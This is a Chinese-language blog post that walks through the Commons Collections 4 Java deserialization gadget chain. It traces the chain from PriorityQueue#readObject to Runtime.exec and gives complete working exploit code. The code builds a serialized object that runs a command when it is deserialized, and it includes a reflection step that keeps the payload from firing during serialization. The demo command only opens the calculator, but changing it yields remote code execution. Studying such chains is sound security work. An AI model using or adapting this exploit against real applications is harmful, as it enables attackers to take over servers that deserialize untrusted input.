LOADING

加载过慢请开启缓存 浏览器默认开启

CC4分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

环境

CC4链用到了commons-collections4,需要在pom改一下。并且commons-collections4的InvokerTransformer类实现了Serializable,可以使用它来进行利用。

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

从后面往前跟,定位到transform()方法,发现在TransformingComparator#compare调用的

image-1708444351604

继续跟一下哪里调用了compare,在PriorityQueue#siftDownUsingComparator发现调用了compare,并且这里comparator可控

image-1708444358230

继续跟siftDown调用了siftDownUsingComparator

image-1708444364574

heapify调用了siftDown

image-1708444370818

经过在同一类的多次调用,最终到了PriorityQueue#readObject,尝试利用

image-1708444376622

只需要编写前半部分代码,后半部分可以用CC1或者CC3的都可以,我们以CC1为例

复制CC1的ChainedTransformer,再实例化一个TransformingComparator和PriorityQueue

public class CC4_Test_cc1 {
    public static void main(String[] args) throws Exception{

        Transformer[] transform1 = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);

        serialize(objects);
        unserialize("ser.bin");
    }

运行后没有弹出计算器,调试发现没有进入到siftDown,这个条件要让size>=2

image-1708444385837

给他加上两个值后,在序列化时候弹了计算器

objects.add(1);
objects.add(2);

跟进add发现在add() -> offer() -> siftUp() -> siftUpUsingComparator()
执行了compare方法

image-1708444391486

让它初始化的时候不赋值,add完成后通过反射赋值

Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transform1);

完整代码

package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4_Test_cc1 {
    public static void main(String[] args) throws Exception{

        Transformer[] transform1 = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
        ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
        objects.add(1);
        objects.add(2);

        Class c = chainedTransformer.getClass();
        Field iTransformers = c.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transform1);

        serialize(objects);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }    
}

image-1708444402681

利用链

PriorityQueue#readObject –> heapify() –> siftDown() –> siftDownUsingComparator() –> TransformingComparator#compare –> ChainedTransformer#transform –> InvokerTransformer#transform –> Runtime.exec()